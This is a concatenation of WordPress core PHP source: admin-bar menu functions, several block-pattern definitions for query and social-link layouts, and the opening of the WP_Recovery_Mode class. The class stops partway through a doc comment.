	 * Returning false to this hook is the recommended way to hide site icons in the toolbar.
	 * A truthy return may have negative performance impact on large multisites.
	 *
	 * @since 6.0.0
	 *
	 * @param bool $show_site_icons Whether site icons should be shown in the toolbar. Default true.
	 */
	$show_site_icons = apply_filters( 'wp_admin_bar_show_site_icons', true );

	foreach ( (array) $wp_admin_bar->user->blogs as $blog ) {
		switch_to_blog( $blog->userblog_id );

		if ( true === $show_site_icons && has_site_icon() ) {
			$blavatar = sprintf(
				'<img class="blavatar" src="%s" srcset="%s 2x" alt="" width="16" height="16"%s />',
				esc_url( get_site_icon_url( 16 ) ),
				esc_url( get_site_icon_url( 32 ) ),
				( wp_lazy_loading_enabled( 'img', 'site_icon_in_toolbar' ) ? ' loading="lazy"' : '' )
			);
		} else {
			$blavatar = '<div class="blavatar"></div>';
		}

		$blogname = $blog->blogname;

		if ( ! $blogname ) {
			$blogname = preg_replace( '#^(https?://)?(www.)?#', '', get_home_url() );
		}

		$menu_id = 'blog-' . $blog->userblog_id;

		if ( current_user_can( 'read' ) ) {
			$wp_admin_bar->add_node(
				array(
					'parent' => 'my-sites-list',
					'id'     => $menu_id,
					'title'  => $blavatar . $blogname,
					'href'   => admin_url(),
				)
			);

			$wp_admin_bar->add_node(
				array(
					'parent' => $menu_id,
					'id'     => $menu_id . '-d',
					'title'  => __( 'Dashboard' ),
					'href'   => admin_url(),
				)
			);
		} else {
			$wp_admin_bar->add_node(
				array(
					'parent' => 'my-sites-list',
					'id'     => $menu_id,
					'title'  => $blavatar . $blogname,
					'href'   => home_url(),
				)
			);
		}

		if ( current_user_can( get_post_type_object( 'post' )->cap->create_posts ) ) {
			$wp_admin_bar->add_node(
				array(
					'parent' => $menu_id,
					'id'     => $menu_id . '-n',
					'title'  => get_post_type_object( 'post' )->labels->new_item,
					'href'   => admin_url( 'post-new.php' ),
				)
			);
		}

		if ( current_user_can( 'edit_posts' ) ) {
			$wp_admin_bar->add_node(
				array(
					'parent' => $menu_id,
					'id'     => $menu_id . '-c',
					'title'  => __( 'Manage Comments' ),
					'href'   => admin_url( 'edit-comments.php' ),
				)
			);
		}

		$wp_admin_bar->add_node(
			array(
				'parent' => $menu_id,
				'id'     => $menu_id . '-v',
				'title'  => __( 'Visit Site' ),
				'href'   => home_url( '/' ),
			)
		);

		restore_current_blog();
	}
}

/**
 * Provides a shortlink.
 *
 * @since 3.1.0
 *
 * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance.
 */
function wp_admin_bar_shortlink_menu( $wp_admin_bar ) {
	$short = wp_get_shortlink( 0, 'query' );
	$id    = 'get-shortlink';

	if ( empty( $short ) ) {
		return;
	}

	$html = '<input class="shortlink-input" type="text" readonly="readonly" value="' . esc_attr( $short ) . '" aria-label="' . __( 'Shortlink' ) . '" />';

	$wp_admin_bar->add_node(
		array(
			'id'    => $id,
			'title' => __( 'Shortlink' ),
			'href'  => $short,
			'meta'  => array( 'html' => $html ),
		)
	);
}

/**
 * Provides an edit link for posts and terms.
 *
 * @since 3.1.0
 * @since 5.5.0 Added a "View Post" link on Comments screen for a single post.
 *
 * @global WP_Term  $tag
 * @global WP_Query $wp_the_query WordPress Query object.
 * @global int      $user_id      The ID of the user being edited. Not to be confused with the
 *                                global $user_ID, which contains the ID of the current user.
 * @global int      $post_id      The ID of the post when editing comments for a single post.
 *
 * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance.
 */
function wp_admin_bar_edit_menu( $wp_admin_bar ) {
	global $tag, $wp_the_query, $user_id, $post_id;

	if ( is_admin() ) {
		$current_screen   = get_current_screen();
		$post             = get_post();
		$post_type_object = null;

		if ( 'post' === $current_screen->base ) {
			$post_type_object = get_post_type_object( $post->post_type );
		} elseif ( 'edit' === $current_screen->base ) {
			$post_type_object = get_post_type_object( $current_screen->post_type );
		} elseif ( 'edit-comments' === $current_screen->base && $post_id ) {
			$post = get_post( $post_id );
			if ( $post ) {
				$post_type_object = get_post_type_object( $post->post_type );
			}
		}

		if ( ( 'post' === $current_screen->base || 'edit-comments' === $current_screen->base )
			&& 'add' !== $current_screen->action
			&& ( $post_type_object )
			&& current_user_can( 'read_post', $post->ID )
			&& ( $post_type_object->public )
			&& ( $post_type_object->show_in_admin_bar ) ) {
			if ( 'draft' === $post->post_status ) {
				$preview_link = get_preview_post_link( $post );
				$wp_admin_bar->add_node(
					array(
						'id'    => 'preview',
						'title' => $post_type_object->labels->view_item,
						'href'  => esc_url( $preview_link ),
						'meta'  => array( 'target' => 'wp-preview-' . $post->ID ),
					)
				);
			} else {
				$wp_admin_bar->add_node(
					array(
						'id'    => 'view',
						'title' => $post_type_object->labels->view_item,
						'href'  => get_permalink( $post->ID ),
					)
				);
			}
		} elseif ( 'edit' === $current_screen->base
			&& ( $post_type_object )
			&& ( $post_type_object->public )
			&& ( $post_type_object->show_in_admin_bar )
			&& ( get_post_type_archive_link( $post_type_object->name ) )
			&& ! ( 'post' === $post_type_object->name && 'posts' === get_option( 'show_on_front' ) ) ) {
			$wp_admin_bar->add_node(
				array(
					'id'    => 'archive',
					'title' => $post_type_object->labels->view_items,
					'href'  => get_post_type_archive_link( $current_screen->post_type ),
				)
			);
		} elseif ( 'term' === $current_screen->base && isset( $tag ) && is_object( $tag ) && ! is_wp_error( $tag ) ) {
			$tax = get_taxonomy( $tag->taxonomy );
			if ( is_term_publicly_viewable( $tag ) ) {
				$wp_admin_bar->add_node(
					array(
						'id'    => 'view',
						'title' => $tax->labels->view_item,
						'href'  => get_term_link( $tag ),
					)
				);
			}
		} elseif ( 'user-edit' === $current_screen->base && isset( $user_id ) ) {
			$user_object = get_userdata( $user_id );
			$view_link   = get_author_posts_url( $user_object->ID );
			if ( $user_object->exists() && $view_link ) {
				$wp_admin_bar->add_node(
					array(
						'id'    => 'view',
						'title' => __( 'View User' ),
						'href'  => $view_link,
					)
				);
			}
		}
	} else {
		$current_object = $wp_the_query->get_queried_object();

		if ( empty( $current_object ) ) {
			return;
		}

		if ( ! empty( $current_object->post_type ) ) {
			$post_type_object = get_post_type_object( $current_object->post_type );
			$edit_post_link   = get_edit_post_link( $current_object->ID );
			if ( $post_type_object
				&& $edit_post_link
				&& current_user_can( 'edit_post', $current_object->ID )
				&& $post_type_object->show_in_admin_bar ) {
				$wp_admin_bar->add_node(
					array(
						'id'    => 'edit',
						'title' => $post_type_object->labels->edit_item,
						'href'  => $edit_post_link,
					)
				);
			}
		} elseif ( ! empty( $current_object->taxonomy ) ) {
			$tax            = get_taxonomy( $current_object->taxonomy );
			$edit_term_link = get_edit_term_link( $current_object->term_id, $current_object->taxonomy );
			if ( $tax && $edit_term_link && current_user_can( 'edit_term', $current_object->term_id ) ) {
				$wp_admin_bar->add_node(
					array(
						'id'    => 'edit',
						'title' => $tax->labels->edit_item,
						'href'  => $edit_term_link,
					)
				);
			}
		} elseif ( $current_object instanceof WP_User && current_user_can( 'edit_user', $current_object->ID ) ) {
			$edit_user_link = get_edit_user_link( $current_object->ID );
			if ( $edit_user_link ) {
				$wp_admin_bar->add_node(
					array(
						'id'    => 'edit',
						'title' => __( 'Edit User' ),
						'href'  => $edit_user_link,
					)
				);
			}
		}
	}
}

/**
 * Adds "Add New" menu.
 *
 * @since 3.1.0
 * @since 6.5.0 Added a New Site link for network installations.
 *
 * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance.
 */
function wp_admin_bar_new_content_menu( $wp_admin_bar ) {
	$actions = array();

	$cpts = (array) get_post_types( array( 'show_in_admin_bar' => true ), 'objects' );

	if ( isset( $cpts['post'] ) && current_user_can( $cpts['post']->cap->create_posts ) ) {
		$actions['post-new.php'] = array( $cpts['post']->labels->name_admin_bar, 'new-post' );
	}

	if ( isset( $cpts['attachment'] ) && current_user_can( 'upload_files' ) ) {
		$actions['media-new.php'] = array( $cpts['attachment']->labels->name_admin_bar, 'new-media' );
	}

	if ( current_user_can( 'manage_links' ) ) {
		$actions['link-add.php'] = array( _x( 'Link', 'add new from admin bar' ), 'new-link' );
	}

	if ( isset( $cpts['page'] ) && current_user_can( $cpts['page']->cap->create_posts ) ) {
		$actions['post-new.php?post_type=page'] = array( $cpts['page']->labels->name_admin_bar, 'new-page' );
	}

	unset( $cpts['post'], $cpts['page'], $cpts['attachment'] );

	// Add any additional custom post types.
	foreach ( $cpts as $cpt ) {
		if ( ! current_user_can( $cpt->cap->create_posts ) ) {
			continue;
		}

		$key             = 'post-new.php?post_type=' . $cpt->name;
		$actions[ $key ] = array( $cpt->labels->name_admin_bar, 'new-' . $cpt->name );
	}
	// Avoid clash with parent node and a 'content' post type.
	if ( isset( $actions['post-new.php?post_type=content'] ) ) {
		$actions['post-new.php?post_type=content'][1] = 'add-new-content';
	}

	if ( current_user_can( 'create_users' ) || ( is_multisite() && current_user_can( 'promote_users' ) ) ) {
		$actions['user-new.php'] = array( _x( 'User', 'add new from admin bar' ), 'new-user' );
	}

	if ( ! $actions ) {
		return;
	}

	$title = '<span class="ab-icon" aria-hidden="true"></span><span class="ab-label">' . _x( 'New', 'admin bar menu group label' ) . '</span>';

	$wp_admin_bar->add_node(
		array(
			'id'    => 'new-content',
			'title' => $title,
			'href'  => admin_url( current( array_keys( $actions ) ) ),
			'meta'  => array(
				'menu_title' => _x( 'New', 'admin bar menu group label' ),
			),
		)
	);

	foreach ( $actions as $link => $action ) {
		list( $title, $id ) = $action;

		$wp_admin_bar->add_node(
			array(
				'parent' => 'new-content',
				'id'     => $id,
				'title'  => $title,
				'href'   => admin_url( $link ),
			)
		);
	}

	if ( is_multisite() && current_user_can( 'create_sites' ) ) {
		$wp_admin_bar->add_node(
			array(
				'parent' => 'new-content',
				'id'     => 'add-new-site',
				'title'  => _x( 'Site', 'add new from admin bar' ),
				'href'   => network_admin_url( 'site-new.php' ),
			)
		);
	}
}

/**
 * Adds edit comments link with awaiting moderation count bubble.
 *
 * @since 3.1.0
 *
 * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance.
 */
function wp_admin_bar_comments_menu( $wp_admin_bar ) {
	if ( ! current_user_can( 'edit_posts' ) ) {
		return;
	}

	$awaiting_mod  = wp_count_comments();
	$awaiting_mod  = $awaiting_mod->moderated;
	$awaiting_text = sprintf(
		/* translators: Hidden accessibility text. %s: Number of comments. */
		_n( '%s Comment in moderation', '%s Comments in moderation', $awaiting_mod ),
		number_format_i18n( $awaiting_mod )
	);

	$icon   = '<span class="ab-icon" aria-hidden="true"></span>';
	$title  = '<span class="ab-label awaiting-mod pending-count count-' . $awaiting_mod . '" aria-hidden="true">' . number_format_i18n( $awaiting_mod ) . '</span>';
	$title .= '<span class="screen-reader-text comments-in-moderation-text">' . $awaiting_text . '</span>';

	$wp_admin_bar->add_node(
		array(
			'id'    => 'comments',
			'title' => $icon . $title,
			'href'  => admin_url( 'edit-comments.php' ),
		)
	);
}

/**
 * Adds appearance submenu items to the "Site Name" menu.
 *
 * @since 3.1.0
 *
 * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance.
 */
function wp_admin_bar_appearance_menu( $wp_admin_bar ) {
	$wp_admin_bar->add_group(
		array(
			'parent' => 'site-name',
			'id'     => 'appearance',
		)
	);

	if ( current_user_can( 'switch_themes' ) ) {
		$wp_admin_bar->add_node(
			array(
				'parent' => 'appearance',
				'id'     => 'themes',
				'title'  => __( 'Themes' ),
				'href'   => admin_url( 'themes.php' ),
			)
		);
	}

	if ( ! current_user_can( 'edit_theme_options' ) ) {
		return;
	}

	if ( current_theme_supports( 'widgets' ) ) {
		$wp_admin_bar->add_node(
			array(
				'parent' => 'appearance',
				'id'     => 'widgets',
				'title'  => __( 'Widgets' ),
				'href'   => admin_url( 'widgets.php' ),
			)
		);
	}

	if ( current_theme_supports( 'menus' ) || current_theme_supports( 'widgets' ) ) {
		$wp_admin_bar->add_node(
			array(
				'parent' => 'appearance',
				'id'     => 'menus',
				'title'  => __( 'Menus' ),
				'href'   => admin_url( 'nav-menus.php' ),
			)
		);
	}

	if ( current_theme_supports( 'custom-background' ) ) {
		$wp_admin_bar->add_node(
			array(
				'parent' => 'appearance',
				'id'     => 'background',
				'title'  => _x( 'Background', 'custom background' ),
				'href'   => admin_url( 'themes.php?page=custom-background' ),
				'meta'   => array(
					'class' => 'hide-if-customize',
				),
			)
		);
	}

	if ( current_theme_supports( 'custom-header' ) ) {
		$wp_admin_bar->add_node(
			array(
				'parent' => 'appearance',
				'id'     => 'header',
				'title'  => _x( 'Header', 'custom image header' ),
				'href'   => admin_url( 'themes.php?page=custom-header' ),
				'meta'   => array(
					'class' => 'hide-if-customize',
				),
			)
		);
	}
}

/**
 * Provides an update link if theme/plugin/core updates are available.
 *
 * @since 3.1.0
 *
 * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance.
 */
function wp_admin_bar_updates_menu( $wp_admin_bar ) {

	$update_data = wp_get_update_data();

	if ( ! $update_data['counts']['total'] ) {
		return;
	}

	$updates_text = sprintf(
		/* translators: Hidden accessibility text. %s: Total number of updates available. */
		_n( '%s update available', '%s updates available', $update_data['counts']['total'] ),
		number_format_i18n( $update_data['counts']['total'] )
	);

	$icon   = '<span class="ab-icon" aria-hidden="true"></span>';
	$title  = '<span class="ab-label" aria-hidden="true">' . number_format_i18n( $update_data['counts']['total'] ) . '</span>';
	$title .= '<span class="screen-reader-text updates-available-text">' . $updates_text . '</span>';

	$wp_admin_bar->add_node(
		array(
			'id'    => 'updates',
			'title' => $icon . $title,
			'href'  => network_admin_url( 'update-core.php' ),
		)
	);
}

/**
 * Adds search form.
 *
 * @since 3.3.0
 *
 * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance.
 */
function wp_admin_bar_search_menu( $wp_admin_bar ) {
	if ( is_admin() ) {
		return;
	}

	$form  = '<form action="' . esc_url( home_url( '/' ) ) . '" method="get" id="adminbarsearch">';
	$form .= '<input class="adminbar-input" name="s" id="adminbar-search" type="text" value="" maxlength="150" />';
	$form .= '<label for="adminbar-search" class="screen-reader-text">' .
			/* translators: Hidden accessibility text. */
			__( 'Search' ) .
		'</label>';
	$form .= '<input type="submit" class="adminbar-button" value="' . __( 'Search' ) . '" />';
	$form .= '</form>';

	$wp_admin_bar->add_node(
		array(
			'parent' => 'top-secondary',
			'id'     => 'search',
			'title'  => $form,
			'meta'   => array(
				'class'    => 'admin-bar-search',
				'tabindex' => -1,
			),
		)
	);
}

/**
 * Adds a link to exit recovery mode when Recovery Mode is active.
 *
 * @since 5.2.0
 *
 * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance.
 */
function wp_admin_bar_recovery_mode_menu( $wp_admin_bar ) {
	if ( ! wp_is_recovery_mode() ) {
		return;
	}

	$url = wp_login_url();
	$url = add_query_arg( 'action', WP_Recovery_Mode::EXIT_ACTION, $url );
	$url = wp_nonce_url( $url, WP_Recovery_Mode::EXIT_ACTION );

	$wp_admin_bar->add_node(
		array(
			'parent' => 'top-secondary',
			'id'     => 'recovery-mode',
			'title'  => __( 'Exit Recovery Mode' ),
			'href'   => $url,
		)
	);
}

/**
 * Adds secondary menus.
 *
 * @since 3.3.0
 *
 * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance.
 */
function wp_admin_bar_add_secondary_groups( $wp_admin_bar ) {
	$wp_admin_bar->add_group(
		array(
			'id'   => 'top-secondary',
			'meta' => array(
				'class' => 'ab-top-secondary',
			),
		)
	);

	$wp_admin_bar->add_group(
		array(
			'parent' => 'wp-logo',
			'id'     => 'wp-logo-external',
			'meta'   => array(
				'class' => 'ab-sub-secondary',
			),
		)
	);
}

/**
 * Enqueues inline style to hide the admin bar when printing.
 *
 * @since 6.4.0
 */
function wp_enqueue_admin_bar_header_styles() {
	// Back-compat for plugins that disable functionality by unhooking this action.
	$action = is_admin() ? 'admin_head' : 'wp_head';
	if ( ! has_action( $action, 'wp_admin_bar_header' ) ) {
		return;
	}
	remove_action( $action, 'wp_admin_bar_header' );

	wp_add_inline_style( 'admin-bar', '@media print { #wpadminbar { display:none; } }' );
}

/**
 * Enqueues inline bump styles to make room for the admin bar.
 *
 * @since 6.4.0
 */
function wp_enqueue_admin_bar_bump_styles() {
	if ( current_theme_supports( 'admin-bar' ) ) {
		$admin_bar_args  = get_theme_support( 'admin-bar' );
		$header_callback = $admin_bar_args[0]['callback'];
	}

	if ( empty( $header_callback ) ) {
		$header_callback = '_admin_bar_bump_cb';
	}

	if ( '_admin_bar_bump_cb' !== $header_callback ) {
		return;
	}

	// Back-compat for plugins that disable functionality by unhooking this action.
	if ( ! has_action( 'wp_head', $header_callback ) ) {
		return;
	}
	remove_action( 'wp_head', $header_callback );

	$css = '
		@media screen { html { margin-top: 32px !important; } }
		@media screen and ( max-width: 782px ) { html { margin-top: 46px !important; } }
	';
	wp_add_inline_style( 'admin-bar', $css );
}

/**
 * Sets the display status of the admin bar.
 *
 * This can be called immediately upon plugin load. It does not need to be called
 * from a function hooked to the {@see 'init'} action.
 *
 * @since 3.1.0
 *
 * @global bool $show_admin_bar
 *
 * @param bool $show Whether to allow the admin bar to show.
 */
function show_admin_bar( $show ) {
	global $show_admin_bar;
	$show_admin_bar = (bool) $show;
}

/**
 * Determines whether the admin bar should be showing.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 3.1.0
 *
 * @global bool   $show_admin_bar
 * @global string $pagenow        The filename of the current screen.
 *
 * @return bool Whether the admin bar should be showing.
 */
function is_admin_bar_showing() {
	global $show_admin_bar, $pagenow;

	// For all these types of requests, we never want an admin bar.
	if ( defined( 'XMLRPC_REQUEST' ) || defined( 'DOING_AJAX' ) || defined( 'IFRAME_REQUEST' ) || wp_is_json_request() ) {
		return false;
	}

	if ( is_embed() ) {
		return false;
	}

	// Integrated into the admin.
	if ( is_admin() ) {
		return true;
	}

	if ( ! isset( $show_admin_bar ) ) {
		if ( ! is_user_logged_in() || 'wp-login.php' === $pagenow ) {
			$show_admin_bar = false;
		} else {
			$show_admin_bar = _get_admin_bar_pref();
		}
	}

	/**
	 * Filters whether to show the admin bar.
	 *
	 * Returning false to this hook is the recommended way to hide the admin bar.
	 * The user's display preference is used for logged in users.
	 *
	 * @since 3.1.0
	 *
	 * @param bool $show_admin_bar Whether the admin bar should be shown. Default false.
	 */
	$show_admin_bar = apply_filters( 'show_admin_bar', $show_admin_bar );

	return $show_admin_bar;
}

/**
 * Retrieves the admin bar display preference of a user.
 *
 * @since 3.1.0
 * @access private
 *
 * @param string $context Context of this preference check. Defaults to 'front'. The 'admin'
 *                        preference is no longer used.
 * @param int    $user    Optional. ID of the user to check, defaults to 0 for current user.
 * @return bool Whether the admin bar should be showing for this user.
 */
function _get_admin_bar_pref( $context = 'front', $user = 0 ) {
	$pref = get_user_option( "show_admin_bar_{$context}", $user );
	if ( false === $pref ) {
		return true;
	}

	return 'true' === $pref;
}
<?php
/**
 * Query: Offset.
 *
 * @package WordPress
 */

return array(
	'title'      => _x( 'Offset', 'Block pattern title' ),
	'blockTypes' => array( 'core/query' ),
	'categories' => array( 'query' ),
	'content'    => '<!-- wp:group {"style":{"spacing":{"padding":{"top":"30px","right":"30px","bottom":"30px","left":"30px"}}},"layout":{"inherit":false}} -->
					<div class="wp-block-group" style="padding-top:30px;padding-right:30px;padding-bottom:30px;padding-left:30px"><!-- wp:columns -->
					<div class="wp-block-columns"><!-- wp:column {"width":"50%"} -->
					<div class="wp-block-column" style="flex-basis:50%"><!-- wp:query {"query":{"perPage":2,"pages":0,"offset":0,"postType":"post","order":"desc","orderBy":"date","author":"","search":"","exclude":[],"sticky":"exclude","inherit":false},"displayLayout":{"type":"list"}} -->
					<div class="wp-block-query"><!-- wp:post-template -->
					<!-- wp:post-featured-image /-->
					<!-- wp:post-title /-->
					<!-- wp:post-date /-->
					<!-- wp:spacer {"height":200} -->
					<div style="height:200px" aria-hidden="true" class="wp-block-spacer"></div>
					<!-- /wp:spacer -->
					<!-- /wp:post-template --></div>
					<!-- /wp:query --></div>
					<!-- /wp:column -->
					<!-- wp:column {"width":"50%"} -->
					<div class="wp-block-column" style="flex-basis:50%"><!-- wp:query {"query":{"perPage":2,"pages":0,"offset":2,"postType":"post","order":"desc","orderBy":"date","author":"","search":"","exclude":[],"sticky":"exclude","inherit":false},"displayLayout":{"type":"list"}} -->
					<div class="wp-block-query"><!-- wp:post-template -->
					<!-- wp:spacer {"height":200} -->
					<div style="height:200px" aria-hidden="true" class="wp-block-spacer"></div>
					<!-- /wp:spacer -->
					<!-- wp:post-featured-image /-->
					<!-- wp:post-title /-->
					<!-- wp:post-date /-->
					<!-- /wp:post-template --></div>
					<!-- /wp:query --></div>
					<!-- /wp:column --></div>
					<!-- /wp:columns --></div>
					<!-- /wp:group -->',
);
<?php
/**
 * Query: Large title.
 *
 * @package WordPress
 */

return array(
	'title'      => _x( 'Large title', 'Block pattern title' ),
	'blockTypes' => array( 'core/query' ),
	'categories' => array( 'query' ),
	'content'    => '<!-- wp:group {"align":"full","style":{"spacing":{"padding":{"top":"100px","right":"100px","bottom":"100px","left":"100px"}},"color":{"text":"#ffffff","background":"#000000"}}} -->
					<div class="wp-block-group alignfull has-text-color has-background" style="background-color:#000000;color:#ffffff;padding-top:100px;padding-right:100px;padding-bottom:100px;padding-left:100px"><!-- wp:query {"query":{"perPage":3,"pages":0,"offset":0,"postType":"post","order":"desc","orderBy":"date","author":"","search":"","exclude":[],"sticky":"","inherit":false}} -->
					<div class="wp-block-query"><!-- wp:post-template -->
					<!-- wp:separator {"customColor":"#ffffff","align":"wide","className":"is-style-wide"} -->
					<hr class="wp-block-separator alignwide has-text-color has-background is-style-wide" style="background-color:#ffffff;color:#ffffff"/>
					<!-- /wp:separator -->

					<!-- wp:columns {"verticalAlignment":"center","align":"wide"} -->
					<div class="wp-block-columns alignwide are-vertically-aligned-center"><!-- wp:column {"verticalAlignment":"center","width":"20%"} -->
					<div class="wp-block-column is-vertically-aligned-center" style="flex-basis:20%"><!-- wp:post-date {"style":{"color":{"text":"#ffffff"}},"fontSize":"extra-small"} /--></div>
					<!-- /wp:column -->

					<!-- wp:column {"verticalAlignment":"center","width":"80%"} -->
					<div class="wp-block-column is-vertically-aligned-center" style="flex-basis:80%"><!-- wp:post-title {"isLink":true,"style":{"typography":{"fontSize":"72px","lineHeight":"1.1"},"color":{"text":"#ffffff","link":"#ffffff"}}} /--></div>
					<!-- /wp:column --></div>
					<!-- /wp:columns -->
					<!-- /wp:post-template --></div>
					<!-- /wp:query --></div>
					<!-- /wp:group -->',
);
<?php
/**
 * Query: Image at left.
 *
 * @package WordPress
 */

return array(
	'title'      => _x( 'Image at left', 'Block pattern title' ),
	'blockTypes' => array( 'core/query' ),
	'categories' => array( 'query' ),
	'content'    => '<!-- wp:query {"query":{"perPage":3,"pages":0,"offset":0,"postType":"post","order":"desc","orderBy":"date","author":"","search":"","exclude":[],"sticky":"","inherit":false}} -->
					<div class="wp-block-query">
					<!-- wp:post-template -->
					<!-- wp:columns {"align":"wide"} -->
					<div class="wp-block-columns alignwide"><!-- wp:column {"width":"66.66%"} -->
					<div class="wp-block-column" style="flex-basis:66.66%"><!-- wp:post-featured-image {"isLink":true} /--></div>
					<!-- /wp:column -->
					<!-- wp:column {"width":"33.33%"} -->
					<div class="wp-block-column" style="flex-basis:33.33%"><!-- wp:post-title {"isLink":true} /-->
					<!-- wp:post-excerpt /--></div>
					<!-- /wp:column --></div>
					<!-- /wp:columns -->
					<!-- /wp:post-template -->
					</div>
					<!-- /wp:query -->',
);
<?php
/**
 * Social links with a shared background color.
 *
 * @package WordPress
 */

return array(
	'title'         => _x( 'Social links with a shared background color', 'Block pattern title' ),
	'categories'    => array( 'buttons' ),
	'blockTypes'    => array( 'core/social-links' ),
	'viewportWidth' => 500,
	'content'       => '<!-- wp:social-links {"customIconColor":"#ffffff","iconColorValue":"#ffffff","customIconBackgroundColor":"#3962e3","iconBackgroundColorValue":"#3962e3","className":"has-icon-color"} -->
						<ul class="wp-block-social-links has-icon-color has-icon-background-color"><!-- wp:social-link {"url":"https://wordpress.org","service":"wordpress"} /-->
						<!-- wp:social-link {"url":"#","service":"chain"} /-->
						<!-- wp:social-link {"url":"#","service":"mail"} /--></ul>
						<!-- /wp:social-links -->',
);
<?php
/**
 * Query: Standard.
 *
 * @package WordPress
 */

return array(
	'title'      => _x( 'Standard', 'Block pattern title' ),
	'blockTypes' => array( 'core/query' ),
	'categories' => array( 'query' ),
	'content'    => '<!-- wp:query {"query":{"perPage":3,"pages":0,"offset":0,"postType":"post","order":"desc","orderBy":"date","author":"","search":"","exclude":[],"sticky":"","inherit":false}} -->
					<div class="wp-block-query">
					<!-- wp:post-template -->
					<!-- wp:post-title {"isLink":true} /-->
					<!-- wp:post-featured-image  {"isLink":true,"align":"wide"} /-->
					<!-- wp:post-excerpt /-->
					<!-- wp:separator -->
					<hr class="wp-block-separator"/>
					<!-- /wp:separator -->
					<!-- wp:post-date /-->
					<!-- /wp:post-template -->
					</div>
					<!-- /wp:query -->',
);
<?php
/**
 * Query: Small image and title.
 *
 * @package WordPress
 */

return array(
	'title'      => _x( 'Small image and title', 'Block pattern title' ),
	'blockTypes' => array( 'core/query' ),
	'categories' => array( 'query' ),
	'content'    => '<!-- wp:query {"query":{"perPage":3,"pages":0,"offset":0,"postType":"post","order":"desc","orderBy":"date","author":"","search":"","exclude":[],"sticky":"","inherit":false}} -->
					<div class="wp-block-query">
					<!-- wp:post-template -->
					<!-- wp:columns {"verticalAlignment":"center"} -->
					<div class="wp-block-columns are-vertically-aligned-center"><!-- wp:column {"verticalAlignment":"center","width":"25%"} -->
					<div class="wp-block-column is-vertically-aligned-center" style="flex-basis:25%"><!-- wp:post-featured-image {"isLink":true} /--></div>
					<!-- /wp:column -->
					<!-- wp:column {"verticalAlignment":"center","width":"75%"} -->
					<div class="wp-block-column is-vertically-aligned-center" style="flex-basis:75%"><!-- wp:post-title {"isLink":true} /--></div>
					<!-- /wp:column --></div>
					<!-- /wp:columns -->
					<!-- /wp:post-template -->
					</div>
					<!-- /wp:query -->',
);
<?php
/**
 * Query: Grid.
 *
 * @package WordPress
 */

return array(
	'title'      => _x( 'Grid', 'Block pattern title' ),
	'blockTypes' => array( 'core/query' ),
	'categories' => array( 'query' ),
	'content'    => '<!-- wp:query {"query":{"perPage":6,"pages":0,"offset":0,"postType":"post","order":"desc","orderBy":"date","author":"","search":"","exclude":[],"sticky":"exclude","inherit":false},"displayLayout":{"type":"flex","columns":3}} -->
					<div class="wp-block-query">
					<!-- wp:post-template -->
					<!-- wp:group {"style":{"spacing":{"padding":{"top":"30px","right":"30px","bottom":"30px","left":"30px"}}},"layout":{"inherit":false}} -->
					<div class="wp-block-group" style="padding-top:30px;padding-right:30px;padding-bottom:30px;padding-left:30px"><!-- wp:post-title {"isLink":true} /-->
					<!-- wp:post-excerpt /-->
					<!-- wp:post-date /--></div>
					<!-- /wp:group -->
					<!-- /wp:post-template -->
					</div>
					<!-- /wp:query -->',
);
<?php
/**
 * Error Protection API: WP_Recovery_Mode class
 *
 * @package WordPress
 * @since 5.2.0
 */

/**
 * Core class used to implement Recovery Mode.
 *
 * @since 5.2.0
 */
#[AllowDynamicProperties]
class WP_Recovery_Mode {

	const EXIT_ACTION = 'exit_recovery_mode';

	/**
	 * Service to handle cookies.
	 *
	 * @since 5.2.0
	 * @var WP_Recovery_Mode_Cookie_Service
	 */
	private $cookie_service;

	/**
	 * Service to generate a recovery mode key.
	 *
	 * @since 5.2.0
	 * @var WP_Recovery_Mode_Key_Service
	 */
	private $key_service;

	/**
	 * Service to generate and validate recovery mode links.
	 *
	 * @since 5.2.0
	 * @var WP_Recovery_Mode_Link_Service
	 */
	private $link_service;

	/**
	 * Service to handle sending an email with a recovery mode link.
	 *
	 * @since 5.2.0
	 * @var WP_Recovery_Mode_Email_Service
	 */
	private $email_service;

	/**
	 * Is recovery mode initialized.
	 *
	 * @since 5.2.0
	 * @var bool
	 */
	private $is_initialized = false;

	/**
	 * Is recovery mode active in this session.
	 *
	 * @since 5.2.0
	 * @var bool
	 */
	private $is_active = false;

	/**
	 * Get an ID representing the current recovery mode session.
	 *
	 * @since 5.2.0
	 * @var string
	 */
	private $session_id = '';

	/**
	 * WP_Recovery_Mode constructor.
	 *
	 * @since 5.2.0
	 */
	public function __construct() {
		$this->cookie_service = new WP_Recovery_Mode_Cookie_Service();
		$this->key_service    = new WP_Recovery_Mode_Key_Service();
		$this->link_service   = new WP_Recovery_Mode_Link_Service( $this->cookie_service, $this->key_service );
		$this->email_service  = new WP_Recovery_Mode_Email_Service( $this->link_service );
	}

	/**
	 * Initialize recovery mode for the current request.
	 *
	 * @since 5.2.0
	 */
	public function initialize() {
		$this->is_initialized = true;

		add_action( 'wp_logout', array( $this, 'exit_recovery_mode' ) );
		add_action( 'login_form_' . self::EXIT_ACTION, array( $this, 'handle_exit_recovery_mode' ) );
		add_action( 'recovery_mode_clean_expired_keys', array( $this, 'clean_expired_keys' ) );

		if ( ! wp_next_scheduled( 'recovery_mode_clean_expired_keys' ) && ! wp_installing() ) {
			wp_schedule_event( time(), 'daily', 'recovery_mode_clean_expired_keys' );
		}

		if ( defined( 'WP_RECOVERY_MODE_SESSION_ID' ) ) {
			$this->is_active  = true;
			$this->session_id = WP_RECOVERY_MODE_SESSION_ID;

			return;
		}

		if ( $this->cookie_service->is_cookie_set() ) {
			$this->handle_cookie();

			return;
		}

		$this->link_service->handle_begin_link( $this->get_link_ttl() );
	}

	/**
	 * Checks whether recovery mode is active.
	 *
	 * This will not change after recovery mode has been initialized. {@see WP_Recovery_Mode::run()}.
	 *
	 * @since 5.2.0
	 *
